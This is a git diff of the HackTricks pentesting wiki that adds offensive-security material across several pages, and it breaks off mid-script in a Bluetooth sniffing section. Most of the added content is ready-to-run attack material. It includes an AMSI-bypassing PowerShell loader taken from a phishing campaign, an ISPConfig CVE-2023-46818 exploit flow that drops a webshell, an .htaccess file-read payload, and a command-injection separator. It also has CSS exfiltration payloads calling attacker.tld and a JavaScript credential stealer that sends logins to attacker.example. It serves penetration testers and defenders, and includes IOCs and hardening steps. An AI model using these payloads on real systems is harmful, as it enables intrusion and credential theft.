$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
|
||||
$paths = @(
|
||||
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
|
||||
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
|
||||
)
|
||||
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
|
||||
if(-not $zip){ return }
|
||||
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
|
||||
$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker)
|
||||
if($idx -lt 0){ return }
|
||||
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
|
||||
$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
Invoke-Expression $code
|
||||
```
|
||||
|
||||
Notes
|
||||
- Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA).
|
||||
- The next stage frequently decrypts base64/XOR shellcode and executes it via Reflection.Emit + VirtualAlloc to minimize disk artifacts.
|
||||
|
||||
Persistence used in the same chain
|
||||
- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
Hunting/IOCs
|
||||
- ZIP files containing the ASCII marker string (e.g., xFIQCV) appended to the archive data.
|
||||
- .lnk that enumerates parent/user folders to locate the ZIP and opens a decoy document.
|
||||
- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Long-running business threads ending with links hosted under trusted PaaS domains.
|
||||
|
||||
## References
|
||||
|
||||
- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
|
||||
- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1630,6 +1630,15 @@ escaping-from-limited-bash.md
|
||||
cisco-vmanage.md
|
||||
{{#endref}}
|
||||
|
||||
## Android rooting frameworks: manager-channel abuse
|
||||
|
||||
Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
|
||||
{{#endref}}
|
||||
|
||||
## Kernel Security Protections
|
||||
|
||||
- [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check)
|
||||
@ -1675,13 +1684,4 @@ cisco-vmanage.md
|
||||
- [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
|
||||
|
||||
|
||||
## Android rooting frameworks: manager-channel abuse
|
||||
|
||||
Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -45,6 +45,9 @@ ARM64 has **31 general-purpose registers**, labeled `x0` through `x30`. Each can
|
||||
|
||||
The **`Wn`** registers are the **32bit** version of the **`Xn`** register.
|
||||
|
||||
> [!TIP]
|
||||
> The registers from X0 - X18 are volatile, which means that their values can be changed by function calls and interrupts. However, the registers from X19 - X28 are non-volatile, meaning their values must be preserved across function calls ("callee saved").
|
||||
|
||||
### SIMD and Floating-Point Registers
|
||||
|
||||
Moreover, there are another **32 registers of 128bit length** that can be used in optimized single instruction multiple data (SIMD) operations and for performing floating-point arithmetic. These are called the Vn registers although they can also operate in **64**-bit, **32**-bit, **16**-bit and **8**-bit and then they are called **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** and **`Bn`**.
|
||||
@ -275,7 +278,7 @@ There are 16 32-bit registers (r0-r15). **From r0 to r14** they can be used for
|
||||
- **`r15`**: Program counter (always). Contains the address of the next instruction. In A32 current + 8, in T32, current + 4.
|
||||
- **`r11`**: Frame Pointer
|
||||
- **`r12`**: Intra-procedural call register
|
||||
- **`r13`**: Stack Pointer
|
||||
- **`r13`**: Stack Pointer (Note the stack is always 16-byte aligned)
|
||||
- **`r14`**: Link Register
|
||||
|
||||
Moreover, registers are backed up in **`banked registries`**. Which are places that store the registers values allowing to perform **fast context switching** in exception handling and privileged operations to avoid the need to manually save and restore registers every time.\
|
||||
@ -317,7 +320,7 @@ The fields are divided in some groups:
|
||||
|
||||
### BSD syscalls
|
||||
|
||||
Check out [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). BSD syscalls will have **x16 > 0**.
|
||||
Check out [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) or run `cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h`. BSD syscalls will have **x16 > 0**.
|
||||
|
||||
### Mach Traps
|
||||
|
||||
|
@ -82,6 +82,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno
|
||||
- [**Golang**](golang.md)
|
||||
- [**GraphQL**](graphql.md)
|
||||
- [**H2 - Java SQL database**](h2-java-sql-database.md)
|
||||
- [**ISPConfig**](ispconfig.md)
|
||||
- [**IIS tricks**](iis-internet-information-services.md)
|
||||
- [**Microsoft SharePoint**](microsoft-sharepoint.md)
|
||||
- [**JBOSS**](jboss.md)
|
||||
|
@ -27,6 +27,38 @@ uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
||||
Linux
|
||||
```
|
||||
|
||||
## LFI via .htaccess ErrorDocument file provider (ap_expr)
|
||||
|
||||
If you can control a directory’s .htaccess and AllowOverride includes FileInfo for that path, you can turn 404 responses into arbitrary local file reads using the ap_expr file() function inside ErrorDocument.
|
||||
|
||||
- Requirements:
|
||||
- Apache 2.4 with expression parser (ap_expr) enabled (default in 2.4).
|
||||
- The vhost/dir must allow .htaccess to set ErrorDocument (AllowOverride FileInfo).
|
||||
- The Apache worker user must have read permissions on the target file.
|
||||
|
||||
.htaccess payload:
|
||||
|
||||
```apache
|
||||
# Optional marker header just to identify your tenant/request path
|
||||
Header always set X-Debug-Tenant "demo"
|
||||
# On any 404 under this directory, return the contents of an absolute filesystem path
|
||||
ErrorDocument 404 %{file:/etc/passwd}
|
||||
```
|
||||
|
||||
Trigger by requesting any non-existing path below that directory, for example when abusing userdir-style hosting:
|
||||
|
||||
```bash
|
||||
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
|
||||
```
|
||||
|
||||
Notes and tips:
|
||||
- Only absolute paths work. The content is returned as the response body for the 404 handler.
|
||||
- Effective read permissions are those of the Apache user (typically www-data/apache). You won’t read /root/* or /etc/shadow in default setups.
|
||||
- Even if .htaccess is root-owned, if the parent directory is tenant-owned and permits rename, you may be able to rename the original .htaccess and upload your own replacement via SFTP/FTP:
|
||||
- rename .htaccess .htaccess.bk
|
||||
- put your malicious .htaccess
|
||||
- Use this to read application source under DocumentRoot or vhost config paths to harvest secrets (DB creds, API keys, etc.).
|
||||
|
||||
## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
|
||||
|
||||
These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.
|
||||
@ -274,8 +306,8 @@ Check [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker
|
||||
## References
|
||||
|
||||
- [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
|
||||
- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html)
|
||||
- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html)
|
||||
- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
107
src/network-services-pentesting/pentesting-web/ispconfig.md
Normal file
107
src/network-services-pentesting/pentesting-web/ispconfig.md
Normal file
@ -0,0 +1,107 @@
|
||||
# ISPConfig
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Overview
|
||||
|
||||
ISPConfig is an open-source hosting control panel. Older 3.2.x builds shipped a language file editor feature that, when enabled for the super administrator, allowed arbitrary PHP code injection via a malformed translation record. This can yield RCE in the web server context and, depending on how PHP is executed, privilege escalation.
|
||||
|
||||
Key default paths:
|
||||
- Web root often at `/var/www/ispconfig` when served with `php -S` or via Apache/nginx.
|
||||
- Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed).
|
||||
|
||||
Tip: If the panel is bound locally (e.g. `127.0.0.1:8080`), forward it:
|
||||
|
||||
```bash
|
||||
ssh -L 9001:127.0.0.1:8080 user@target
|
||||
# then browse http://127.0.0.1:9001
|
||||
```
|
||||
|
||||
## Language editor PHP code injection (CVE-2023-46818)
|
||||
|
||||
- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
|
||||
- Preconditions:
|
||||
- Login as the built-in superadmin account `admin` (other roles are not affected according to the vendor)
|
||||
- Language editor must be enabled: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
|
||||
- Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context
|
||||
|
||||
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
|
||||
|
||||
### Manual exploitation flow
|
||||
|
||||
1) Open/create a language file to obtain CSRF tokens
|
||||
|
||||
Send a first POST to initialize the form and parse the CSRF fields from the HTML response (`csrf_id`, `csrf_key`). Example request path: `/admin/language_edit.php`.
|
||||
|
||||
2) Inject PHP via records[] and save
|
||||
|
||||
Submit a second POST including the CSRF fields and a malicious translation record. Minimal command-execution probes:
|
||||
|
||||
```http
|
||||
POST /admin/language_edit.php HTTP/1.1
|
||||
Host: 127.0.0.1:9001
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Cookie: ispconfig_auth=...
|
||||
|
||||
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
|
||||
```
|
||||
|
||||
Out-of-band test (observe ICMP):
|
||||
|
||||
```http
|
||||
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
|
||||
```
|
||||
|
||||
3) Write files and drop a webshell
|
||||
|
||||
Use `file_put_contents` to create a file under a web-reachable path (e.g., `admin/`):
|
||||
|
||||
```http
|
||||
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
|
||||
```
|
||||
|
||||
Then write a simple webshell using base64 to avoid bad characters in the POST body:
|
||||
|
||||
```http
|
||||
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
|
||||
```
|
||||
|
||||
Use it:
|
||||
|
||||
```bash
|
||||
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
|
||||
```
|
||||
|
||||
If PHP is executed as root (e.g., via `php -S 127.0.0.1:8080` started by root), this yields immediate root RCE. Otherwise, you gain code execution as the web server user.
|
||||
|
||||
### Python PoC
|
||||
|
||||
A ready-to-use exploit automates token handling and payload delivery:
|
||||
- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
|
||||
|
||||
Example run:
|
||||
|
||||
```bash
|
||||
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
|
||||
```
|
||||
|
||||
### Hardening
|
||||
|
||||
- Upgrade to 3.2.11p1 or later
|
||||
- Disable the language editor unless strictly needed:
|
||||
|
||||
```
|
||||
admin_allow_langedit=no
|
||||
```
|
||||
|
||||
- Avoid running the panel as root; configure PHP-FPM or the web server to drop privileges
|
||||
- Enforce strong authentication for the built-in `admin` account
|
||||
|
||||
## References
|
||||
|
||||
- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
|
||||
- [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
|
||||
- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
|
||||
- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -19,6 +19,7 @@ ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
|
||||
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
|
||||
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
|
||||
ls %0A id # %0A Execute both (RECOMMENDED)
|
||||
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
|
||||
|
||||
#Only unix supported
|
||||
`ls` # ``
|
||||
@ -170,5 +171,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
|
||||
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
|
||||
- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
|
||||
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
|
||||
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -38,6 +38,27 @@ for id in $(seq 64185742 64185700); do
|
||||
done
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Error-response oracle for user/file enumeration
|
||||
|
||||
When a download endpoint accepts both a username and a filename (e.g. `/view.php?username=<u>&file=<f>`), subtle differences in error messages often create an oracle:
|
||||
|
||||
- Non-existent username → "User not found"
|
||||
- Bad filename but valid extension → "File does not exist" (sometimes also lists available files)
|
||||
- Bad extension → validation error
|
||||
|
||||
With any authenticated session, you can fuzz the username parameter while holding a benign filename and filter on the "user not found" string to discover valid users:
|
||||
|
||||
```bash
|
||||
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
|
||||
-b 'PHPSESSID=<session-cookie>' \
|
||||
-w /opt/SecLists/Usernames/Names/names.txt \
|
||||
-fr 'User not found'
|
||||
```
|
||||
|
||||
Once valid usernames are identified, request specific files directly (e.g., `/view.php?username=amanda&file=privacy.odt`). This pattern commonly leads to unauthorized disclosure of other users’ documents and credential leakage.
|
||||
|
||||
---
|
||||
## 2. Real-World Case Study – McHire Chatbot Platform (2025)
|
||||
|
||||
@ -86,4 +107,5 @@ Combined with **default admin credentials** (`123456:123456`) that granted acces
|
||||
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
|
||||
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
|
||||
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||||
* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -107,6 +107,50 @@ You can find the original [**Pepe Vila's code to exploit this here**](https://gi
|
||||
> Sometimes the script **doesn't detect correctly that the prefix + suffix discovered is already the complete flag** and it will continue forwards (in the prefix) and backwards (in the suffix) and at some point it will hang.\
|
||||
> No worries, just check the **output** because **you can see the flag there**.
|
||||
|
||||
### Inline-Style CSS Exfiltration (attr() + if() + image-set())
|
||||
|
||||
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
|
||||
|
||||
> [!WARNING]
|
||||
> Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
|
||||
|
||||
- Sink: control an element's style attribute and ensure the target attribute is on the same element (attr() reads only same-element attributes).
|
||||
- Read: copy the attribute into a CSS variable: `--val: attr(title)`.
|
||||
- Decide: select a URL using nested conditionals comparing the variable with string candidates: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
|
||||
- Exfiltrate: apply `background: image-set(var(--steal))` (or any fetching property) to force a request to the chosen endpoint.
|
||||
|
||||
Attempt (does not work; single quotes in comparison):
|
||||
|
||||
```html
|
||||
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
|
||||
```
|
||||
|
||||
Working payload (double quotes required in the comparison):
|
||||
|
||||
```html
|
||||
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
|
||||
```
|
||||
|
||||
Enumerating attribute values with nested conditionals:
|
||||
|
||||
```html
|
||||
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
|
||||
```
|
||||
|
||||
Realistic demo (probing usernames):
|
||||
|
||||
```html
|
||||
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
|
||||
```
|
||||
|
||||
Notes and limitations:
|
||||
|
||||
- Works on Chromium-based browsers at the time of research; behavior may differ on other engines.
|
||||
- Best suited for finite/enumerable value spaces (IDs, flags, short usernames). Stealing arbitrary long strings without external stylesheets remains challenging.
|
||||
- Any CSS property that fetches a URL can be used to trigger the request (e.g., background/image-set, border-image, list-style, cursor, content).
|
||||
|
||||
Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
|
||||
|
||||
### Other selectors
|
||||
|
||||
Other ways to access DOM parts with **CSS selectors**:
|
||||
@ -779,8 +823,11 @@ So, if the font does not match, the response time when visiting the bot is expec
|
||||
- [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
|
||||
- [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
|
||||
- [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
|
||||
- [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration)
|
||||
- [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda)
|
||||
- [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php)
|
||||
- [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if)
|
||||
- [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr)
|
||||
- [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
@ -543,6 +543,25 @@ If `<>` are being sanitised you can still **escape the string** where your input
|
||||
\';alert(document.domain)//
|
||||
```
|
||||
|
||||
#### JS-in-JS string break → inject → repair pattern
|
||||
|
||||
When user input lands inside a quoted JavaScript string (e.g., server-side echo into an inline script), you can terminate the string, inject code, and repair the syntax to keep parsing valid. Generic skeleton:
|
||||
|
||||
```
|
||||
" // end original string
|
||||
; // safely terminate the statement
|
||||
<INJECTION> // attacker-controlled JS
|
||||
; a = " // repair and resume expected string/statement
|
||||
```
|
||||
|
||||
Example URL pattern when the vulnerable parameter is reflected into a JS string:
|
||||
|
||||
```
|
||||
?param=test";<INJECTION>;a="
|
||||
```
|
||||
|
||||
This executes attacker JS without needing to touch HTML context (pure JS-in-JS). Combine with blacklist bypasses below when filters block keywords.
|
||||
|
||||
### Template literals \`\`
|
||||
|
||||
In order to construct **strings** apart from single and double quotes JS also accepts **backticks** **` `` `** . This is known as template literals as they allow to **embedded JS expressions** using `${ ... }` syntax.\
|
||||
@ -571,6 +590,25 @@ loop``
|
||||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||||
```
|
||||
|
||||
#### Deliverable payloads with eval(atob()) and scope nuances
|
||||
|
||||
To keep URLs shorter and bypass naive keyword filters, you can base64-encode your real logic and evaluate it with `eval(atob('...'))`. If simple keyword filtering blocks identifiers like `alert`, `eval`, or `atob`, use Unicode-escaped identifiers which compile identically in the browser but evade string-matching filters:
|
||||
|
||||
```
|
||||
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
|
||||
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
|
||||
```
|
||||
|
||||
Important scoping nuance: `const`/`let` declared inside `eval()` are block-scoped and do NOT create globals; they won’t be accessible to later scripts. Use a dynamically injected `<script>` element to define global, non-rebindable hooks when needed (e.g., to hijack a form handler):
|
||||
|
||||
```javascript
|
||||
var s = document.createElement('script');
|
||||
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
|
||||
document.head.appendChild(s);
|
||||
```
|
||||
|
||||
Reference: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
|
||||
|
||||
### Unicode Encode JS execution
|
||||
|
||||
```javascript
|
||||
@ -1513,6 +1551,23 @@ body:username.value+':'+this.value
|
||||
|
||||
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
|
||||
|
||||
### Hijack form handlers to exfiltrate credentials (const shadowing)
|
||||
|
||||
If a critical handler (e.g., `function DoLogin(){...}`) is declared later in the page, and your payload runs earlier (e.g., via an inline JS-in-JS sink), define a `const` with the same name first to preempt and lock the handler. Later function declarations cannot rebind a `const` name, leaving your hook in control:
|
||||
|
||||
```javascript
|
||||
const DoLogin = () => {
|
||||
const pwd = Trim(FormInput.InputPassword.value);
|
||||
const user = Trim(FormInput.InputUtente.value);
|
||||
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
|
||||
};
|
||||
```
|
||||
|
||||
Notes
|
||||
- This relies on execution order: your injection must execute before the legitimate declaration.
|
||||
- If your payload is wrapped in `eval(...)`, `const/let` bindings won’t become globals. Use the dynamic `<script>` injection technique from the section “Deliverable payloads with eval(atob()) and scope nuances” to ensure a true global, non-rebindable binding.
|
||||
- When keyword filters block code, combine with Unicode-escaped identifiers or `eval(atob('...'))` delivery, as shown above.
|
||||
|
||||
### Keylogger
|
||||
|
||||
Just searching in github I found a few different ones:
|
||||
@ -1792,4 +1847,9 @@ other-js-tricks.md
|
||||
- [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
|
||||
|
||||
## References
|
||||
|
||||
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
|
||||
- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -130,15 +130,34 @@ let config;` -
|
||||
},
|
||||
})
|
||||
}
|
||||
trigger()
|
||||
```
|
||||
|
||||
### Preempt later declarations by locking a name with const
|
||||
|
||||
If you can execute before a top-level `function foo(){...}` is parsed, declaring a lexical binding with the same name (e.g., `const foo = ...`) will prevent the later function declaration from rebinding that identifier. This can be abused in RXSS to hijack critical handlers defined later in the page:
|
||||
|
||||
```javascript
|
||||
// Malicious code runs first (e.g., earlier inline <script>)
|
||||
const DoLogin = () => {
|
||||
const pwd = Trim(FormInput.InputPassword.value)
|
||||
const user = Trim(FormInput.InputUtente.value)
|
||||
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
|
||||
}
|
||||
|
||||
// Later, the legitimate page tries to declare:
|
||||
function DoLogin(){ /* ... */ } // cannot override the existing const binding
|
||||
```
|
||||
|
||||
Notes
|
||||
- This relies on execution order and global (top-level) scope.
|
||||
- If your payload is executed inside `eval()`, remember that `const/let` inside `eval` are block-scoped and won’t create global bindings. Inject a new `<script>` element with the code to establish a true global `const`.
|
||||
|
||||
## References
|
||||
|
||||
- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
|
||||
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
|
||||
- [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
|
||||
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
@ -70,7 +70,135 @@ sudo bettercap --eval "ble.recon on"
|
||||
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
|
||||
```
|
||||
|
||||
## Sniffing and actively controlling unpaired BLE devices
|
||||
|
||||
Many low-cost BLE peripherals do not enforce pairing/bonding. Without bonding, the Link Layer encryption is never enabled, so ATT/GATT traffic is in cleartext. An off-path sniffer can follow the connection, decode GATT operations to learn characteristic handles and values, and any nearby host can then connect and replay those writes to control the device.
|
||||
|
||||
### Sniffing with Sniffle (CC26x2/CC1352)
|
||||
|
||||
Hardware: a Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) re-flashed with NCC Group’s Sniffle firmware.
|
||||
|
||||
Install Sniffle and its Wireshark extcap on Linux:
|
||||
|
||||
```bash
|
||||
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
|
||||
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
|
||||
sudo mkdir -p /opt/sniffle
|
||||
sudo chown -R $USER:$USER /opt/sniffle
|
||||
pushd /opt/sniffle
|
||||
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
|
||||
tar xvf v1.10.0.tar.gz
|
||||
# Install Wireshark extcap for user and root only
|
||||
mkdir -p $HOME/.local/lib/wireshark/extcap
|
||||
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
|
||||
sudo mkdir -p /root/.local/lib/wireshark/extcap
|
||||
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
|
||||
popd
|
||||
else
|
||||
echo "[+] - Sniffle already installed at 1.10.0"
|
||||
fi
|
||||
```
|
||||
|
||||
Flash Sonoff with Sniffle firmware (ensure your serial device matches, e.g. /dev/ttyUSB0):
|
||||
|
||||
```bash
|
||||
pushd /opt/sniffle/
|
||||
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
|
||||
git clone https://github.com/sultanqasim/cc2538-bsl.git
|
||||
cd cc2538-bsl
|
||||
python3 -m venv .venv
|
||||
source .venv/bin/activate
|
||||
python3 -m pip install pyserial intelhex
|
||||
